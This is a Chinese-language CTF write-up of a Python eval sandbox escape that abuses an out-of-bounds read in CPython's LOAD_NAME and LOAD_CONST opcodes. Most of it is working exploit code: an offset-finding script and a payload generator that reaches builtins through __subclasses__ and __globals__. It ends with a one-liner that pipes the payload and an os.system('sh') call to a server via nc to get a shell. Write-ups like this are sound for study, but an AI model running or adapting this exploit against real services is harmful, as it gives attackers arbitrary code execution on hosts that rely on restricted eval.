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TL;DR
我们可以利用 LOAD_NAME / LOAD_CONST 操作码中的 OOB 读取功能来获取内存中的某些符号。这意味着可以使用类似 (a, b, c, ... 数百个符号 ..., __getattribute__) if [] else [].__getattribute__(...) 的技巧来获取所需的符号（如函数名）。
然后只需精心制作您的利用程序。
概述
源代码非常简短，只包含 4 行！
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
越界读取
段错误是如何发生的？
让我们从一个简单的例子开始，[a, b, c] 可以编译成以下字节码。
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
但是如果 co_names 变成空元组会怎么样呢？LOAD_NAME 2 操作码仍然会被执行，并尝试从原本应该在的内存地址读取值。是的，这是一种越界读取的“特性”。
解决方案的核心概念很简单。CPython 中的一些操作码，例如 LOAD_NAME 和 LOAD_CONST，对越界读取存在漏洞。
它们从 consts 或 names 元组中的索引 oparg 检索对象（这就是 co_consts 和 co_names 在底层的命名方式）。我们可以参考关于 LOAD_CONST 的以下简短片段，了解 CPython 在处理 LOAD_CONST 操作码时的操作。
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
通过这种方式，我们可以使用OOB功能从任意内存偏移获取一个“name”。要确保它的名称和偏移量是什么，只需不断尝试 LOAD_NAME 0，LOAD_NAME 1 ... LOAD_NAME 99 ... 然后你可能会在 oparg > 700 左右找到一些内容。当然，你也可以尝试使用 gdb 查看内存布局，但我认为这样做可能不会更容易？
生成利用
一旦我们检索到那些有用的名称/常量的偏移量，我们如何从该偏移量获取一个名称/常量并使用它呢？这里有一个技巧：
假设我们可以从偏移量 5 (LOAD_NAME 5) 中获取一个 __getattribute__ 名称，且 co_names=()，然后只需执行以下操作：
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
请注意，将其命名为__getattribute__并非必需，您可以将其命名为更短或更奇怪的名称
只需查看其字节码，您就可以理解背后的原因：
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
注意LOAD_ATTR也从co_names中检索名称。如果名称相同，Python会从相同的偏移量加载名称，因此第二个__getattribute__仍然从偏移量=5加载。利用这个特性，我们可以在内存附近使用任意名称。
对于生成数字应该是微不足道的：
利用脚本
由于长度限制，我没有使用常量。
首先，这里是一个脚本，用于找到这些名称的偏移量。
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
并且以下是用于生成真实的Python利用程序。
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
它基本上执行以下操作，对于我们从__dir__方法获取的字符串：
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
